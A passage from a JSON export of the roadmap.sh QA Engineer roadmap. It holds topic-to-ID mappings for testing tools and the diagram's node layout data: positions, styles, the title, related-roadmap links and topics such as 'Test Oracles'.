\"qa-reporting:junit\": \"5bNdrymdzqL0VbTqWt8r2\",\n  \"qa-reporting:allure\": \"jaHOo-vZGjTnABxQKMT3_\",\n  \"qa-reporting:test-rail\": \"o4nkmhEDGwi8yE6DSwZi5\",\n  \"qa-monitoring-logs\": \"pJvijtG-a0vOq16EFu3Gr\",\n  \"qa-monitoring-logs:grafana\": \"8CztIu0BOPZZRZsqR9asW\",\n  \"qa-monitoring-logs:new-relic\": \"QnNUZQlQ2Jhv34daeIuW8\",\n  \"qa-monitoring-logs:run-scope\": \"iceaqeXRYXoGtagWn_B7b\",\n  \"qa-monitoring-logs:sentry\": \"H-2wWlKxD_Q1xVv99GlBj\",\n  \"qa-monitoring-logs:kibana\": \"DCZyXcx8H2MTPcyKOhn2_\",\n  \"qa-monitoring-logs:data-dog\": \"Y2I_dcVZb4xZremXoajjx\",\n  \"qa-monitoring-logs:pager-duty\": \"DJDegO78Elo83eHjq8IHN\",\n  \"qa-vcs\": \"s8o5fXu3XHrMduh8snLwu\",\n  \"qa-vcs:git\": \"WrqKdOTRUiOnc1aIhTZeB\",\n  \"qa-repo-hosting-services\": \"XoYsStVqfMeCHkGBlbRhD\",\n  \"qa-repo-hosting-services:gitlab\": \"RfwyTgwfb_xu5H9N-8_s9\",\n  \"qa-repo-hosting-services:bitbucket\": \"4xlbvY7NS3cemSZsEQAkD\",\n  \"qa-repo-hosting-services:github\": \"v4gjV1qolrFXdESrY9bzG\",\n  \"qa-ci-cd\": \"-n2yAprKdWg3YVi2vp25d\",\n  \"qa-ci-cd:circle-ci\": \"z1kZkWTL_RRPZY59aWylU\",\n  \"qa-ci-cd:drone\": \"3oDyxhhbCCqxuCh1sT9VC\",\n  \"qa-ci-cd:jenkins\": \"3l2dkN1vBy9johFhAgZhT\",\n  \"qa-ci-cd:travis-ci\": \"Rz1E97EQCxESu44dTQd5t\",\n  \"qa-ci-cd:gitlab-ci\": \"iW3oaTl7c3a1kNlCKy-13\",\n  \"qa-ci-cd:bamboo\": \"j4J5OhHEf7t-LVNkNVW3M\",\n  \"qa-ci-cd:team-city\": \"k3TBVtepeQEGzKGceDkPJ\",\n  \"qa-ci-cd:azure-devops-services\": \"u0tKd7HZVN2gGv9Cz3jHz\",\n  \"qa-headless-testing\": \"Pm-Wx7Z3jCUFcafetsQYi\",\n  \"qa-headless-testing:zombie-js\": \"m0gT774b59xsSJKrrjTxq\",\n  \"qa-headless-testing:playwright\": \"0TUq4KRbWTLsLuYI9sgi0\",\n  \"qa-headless-testing:puppeteer\": \"sHyFCf7XQKxGxchaYxp2B\",\n  \"qa-headless-testing:cypress\": \"D7zGshmgwqWluF-W7OTWe\",\n  \"qa-headless-testing:headless-chrome\": \"JO--NVMs3saUNjh3mcd7z\",\n  \"qa-headless-testing:headless-fox\": \"ryoSezFNeiunCAZygCbaQ\",\n  \"qa-headless-testing:html-unit\": \"-Sf7DLr8Ywoorrmsx3bfd\"\n}"
  },
  {
    "path": "src/data/roadmaps/qa/qa.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"fQgLrqsNM2VjFAvG7gBr3\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 482.91769176852483,\n        \"y\": 1977.847844776519\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 92,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 92\n      },\n      \"positionAbsolute\": {\n        \"x\": 482.91769176852483,\n        \"y\": 1977.847844776519\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 92\n      }\n    },\n    {\n      \"id\": \"73vfm8H80tIkS01EusDQm\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 361.9013749499461,\n        \"y\": 1977.847844776519\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"fQgLrqsNM2VjFAvG7gBr3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 92,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 92\n      },\n      \"positionAbsolute\": {\n        \"x\": 361.9013749499461,\n        \"y\": 1977.847844776519\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 92\n      }\n    },\n    {\n      \"id\": \"z4mElENOZ5jkVmT3mN16F\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -33.24744704168165,\n        \"y\": 1939.347844776519\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"ZdQALkqTYkcakbSYAgx74\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 79,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 79\n      },\n      \"positionAbsolute\": {\n        \"x\": -33.24744704168165,\n        \"y\": 1939.347844776519\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 79\n      }\n    },\n    {\n      \"id\": \"ZdQALkqTYkcakbSYAgx74\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 54.88420107682549,\n        \"y\": 1938.7825215468501\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 79,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 79\n      },\n      \"positionAbsolute\": {\n        \"x\": 54.88420107682549,\n        \"y\": 1938.7825215468501\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 79\n      }\n    },\n    {\n      \"id\": \"dNQHx_CvhGZ74J4BajLfZ\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -131.35533602993797,\n        \"y\": 1939.347844776519\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"ZdQALkqTYkcakbSYAgx74\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 79,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 79\n      },\n      \"positionAbsolute\": {\n        \"x\": -131.35533602993797,\n        \"y\": 1939.347844776519\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 79\n      }\n    },\n    {\n      \"id\": \"BaZT3zWYcCna0q6yIb5W7\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -137.2015334662633,\n        \"y\": 1423.7201965157678\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 312,\n      \"height\": 270,\n      \"style\": {\n        \"width\": 312,\n        \"height\": 270\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -137.2015334662633,\n        \"y\": 1423.7201965157678\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 312,\n        \"height\": 270\n      }\n    },\n    {\n      \"id\": \"QS42BFjasmipnjICdWiD5\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -505.71376826573646,\n        \"y\": 1368.6057696442801\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 265,\n      \"height\": 247,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 247\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -505.71376826573646,\n        \"y\": 1368.6057696442801\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 247\n      }\n    },\n    {\n      \"id\": \"a4N9onrJn6bey5bVwCRAO\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -213.3406102525649,\n        \"y\": 1136.7218327132534\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 218,\n      \"height\": 132,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 132\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -213.3406102525649,\n        \"y\": 1136.7218327132534\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 132\n      }\n    },\n    {\n      \"id\": \"RpbodhoQgDQmxhDk0mQ0A\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -503.08230823147517,\n        \"y\": 1151.754396169285\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 231,\n      \"height\": 139,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 139\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -503.08230823147517,\n        \"y\": 1151.754396169285\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 139\n      }\n    },\n    {\n      \"id\": \"BZ44gKzp7E_D6G-cttPjc\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 197.41769176852483,\n        \"y\": 809.7101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 58,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 58\n      },\n      \"positionAbsolute\": {\n        \"x\": 197.41769176852483,\n        \"y\": 809.7101491462215\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 58\n      }\n    },\n    {\n      \"id\": \"e14hEsz9ALXZ4SRPKg6U8\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -503.08230823147517,\n        \"y\": 809.7101491462215\n      },\n      \"width\": 231,\n      \"height\": 304,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 304\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -503.08230823147517,\n        \"y\": 809.7101491462215\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 304\n      }\n    },\n    {\n      \"id\": \"GHsa-i_yb_5sfRMxRgoIn\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 299.91769176852483,\n        \"y\": 867.7101491462215\n      },\n      \"width\": 250,\n      \"height\": 381,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 381\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 299.91769176852483,\n        \"y\": 867.7101491462215\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 381\n      }\n    },\n    {\n      \"id\": \"JAor2U3xkOkddvwtcSJtm\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 44.91769176852483,\n        \"y\": 1243.7101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 505,\n      \"height\": 122,\n      \"style\": {\n        \"width\": 505,\n        \"height\": 122\n      },\n      \"positionAbsolute\": {\n        \"x\": 44.91769176852483,\n        \"y\": 1243.7101491462215\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 505,\n        \"height\": 122\n      }\n    },\n    {\n      \"id\": \"qnp7hhbtBurqPvPP8l7W8\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 44.41769176852483,\n        \"y\": 867.7101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 261,\n      \"height\": 381,\n      \"style\": {\n        \"width\": 261,\n        \"height\": 381\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 44.41769176852483,\n        \"y\": 867.7101491462215\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 261,\n        \"height\": 381\n      }\n    },\n    {\n      \"id\": \"Sk0i3EqmWnBeDjc2cCjvC\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -170.74744704168165,\n        \"y\": 505.01014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 111,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 111\n      },\n      \"positionAbsolute\": {\n        \"x\": -170.74744704168165,\n        \"y\": 505.01014914622147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 111\n      }\n    },\n    {\n      \"id\": \"yZsUC2z0bCecYc79HY60t\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -200.74744704168165,\n        \"y\": 221.51014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 96,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 96\n      },\n      \"positionAbsolute\": {\n        \"x\": -200.74744704168165,\n        \"y\": 221.51014914622147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 96\n      }\n    },\n    {\n      \"id\": \"cm_QLy2OZsCFda57w7XFc\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -487.08230823147517,\n        \"y\": 327.7822726577531\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 177,\n      \"height\": 193,\n      \"style\": {\n        \"width\": 177,\n        \"height\": 193\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -487.08230823147517,\n        \"y\": 327.7822726577531\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 193\n      }\n    },\n    {\n      \"id\": \"xjYl8NgsDWZgq6uJDV2aG\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 99.75255295831835,\n        \"y\": -0.48985085377853466\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 98,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 98\n      },\n      \"positionAbsolute\": {\n        \"x\": 99.75255295831835,\n        \"y\": -0.48985085377853466\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 98\n      }\n    },\n    {\n      \"id\": \"tBhZ20izKwpGnd4zmGpcm\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 175.9013749499461,\n        \"y\": 273.51014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"xjYl8NgsDWZgq6uJDV2aG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 98,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 98\n      },\n      \"positionAbsolute\": {\n        \"x\": 175.9013749499461,\n        \"y\": 273.51014914622147\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 98\n      }\n    },\n    {\n      \"id\": \"pFZ1CtDOYKPRyXhHqEn35\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 73.90951598106369,\n        \"y\": 371.51014914622147\n      },\n      \"width\": 250,\n      \"height\": 304,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 304\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 73.90951598106369,\n        \"y\": 371.51014914622147\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 304\n      }\n    },\n    {\n      \"id\": \"PJfjZeTXO4DeTJ4it8Aho\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 320.41769176852483,\n        \"y\": 271.7101491462215\n      },\n      \"width\": 234,\n      \"height\": 405,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 405\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 320.41769176852483,\n        \"y\": 271.7101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 405\n      }\n    },\n    {\n      \"id\": \"9qh4NcpSu9Pks1uIzVSAE\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 74.90951598106369,\n        \"y\": 92.01014914622147\n      },\n      \"width\": 256,\n      \"height\": 144,\n      \"style\": {\n        \"width\": 256,\n        \"height\": 144\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 74.90951598106369,\n        \"y\": 92.01014914622147\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 256,\n        \"height\": 144\n      }\n    },\n    {\n      \"id\": \"4o_rmbcOyV8F2wAcSylG8\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -417.58230823147517,\n        \"y\": 63.010149146221465\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 84,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 84\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -417.58230823147517,\n        \"y\": 63.010149146221465\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 84\n      }\n    },\n    {\n      \"id\": \"FCN43i8o_9eY_Czo2bcLZ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 325.91769176852483,\n        \"y\": 69.51014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 227,\n      \"height\": 166,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 166\n      },\n      \"positionAbsolute\": {\n        \"x\": 325.91769176852483,\n        \"y\": 69.51014914622147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 166\n      }\n    },\n    {\n      \"width\": 203,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -104.24744704168165,\n        \"y\": -192.72152351445328\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"QA Engineer\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -104.24744704168165,\n        \"y\": -192.72152351445328\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 81,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -13.247447041681653,\n        \"y\": -273.7215235144533\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -13.247447041681653,\n        \"y\": -273.7215235144533\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 81\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 81\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 194.9013749499461,\n        \"y\": -278.4898508537784\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 194.9013749499461,\n        \"y\": -278.4898508537784\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 208.10474936274625,\n        \"y\": -196.5042874360331\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 208.10474936274625,\n        \"y\": -196.5042874360331\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"X3IC3D4MqkxpS6s99vdj-\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -517.6856800135615,\n        \"y\": -278.4898508537784\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"Wf1doH-r2O2KQg10KlDTg\",\n            \"label\": \"Backend Roadmap\",\n            \"url\": \"https://roadmap.sh/backend\"\n          },\n          {\n            \"id\": \"agyDe3W2cYRntQmaYvBLK\",\n            \"label\": \"Full Stack Roadmap\",\n            \"url\": \"https://roadmap.sh/full-stack\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 261,\n      \"height\": 131,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -517.6856800135615,\n        \"y\": -278.4898508537784\n      },\n      \"style\": {\n        \"width\": 261,\n        \"height\": 131\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 261,\n        \"height\": 131\n      }\n    },\n    {\n      \"id\": \"m1wX27XBWKXZcTMH2U1xp\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -146.74744704168165,\n        \"y\": -23.489850853778535\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learn the Fundamentals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wruw4qef0bf74oiA5JqHo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 291,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -146.74744704168165,\n        \"y\": -23.489850853778535\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 291,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Zja25damM2vXMOYCyRZiq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 240.91769176852483,\n        \"y\": -49.489850853778535\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Test Oracles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 240.91769176852483,\n        \"y\": -49.489850853778535\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1976f2-opqLqV4ImPJlt0\",\n      \"type\": \"subtopic\",\n      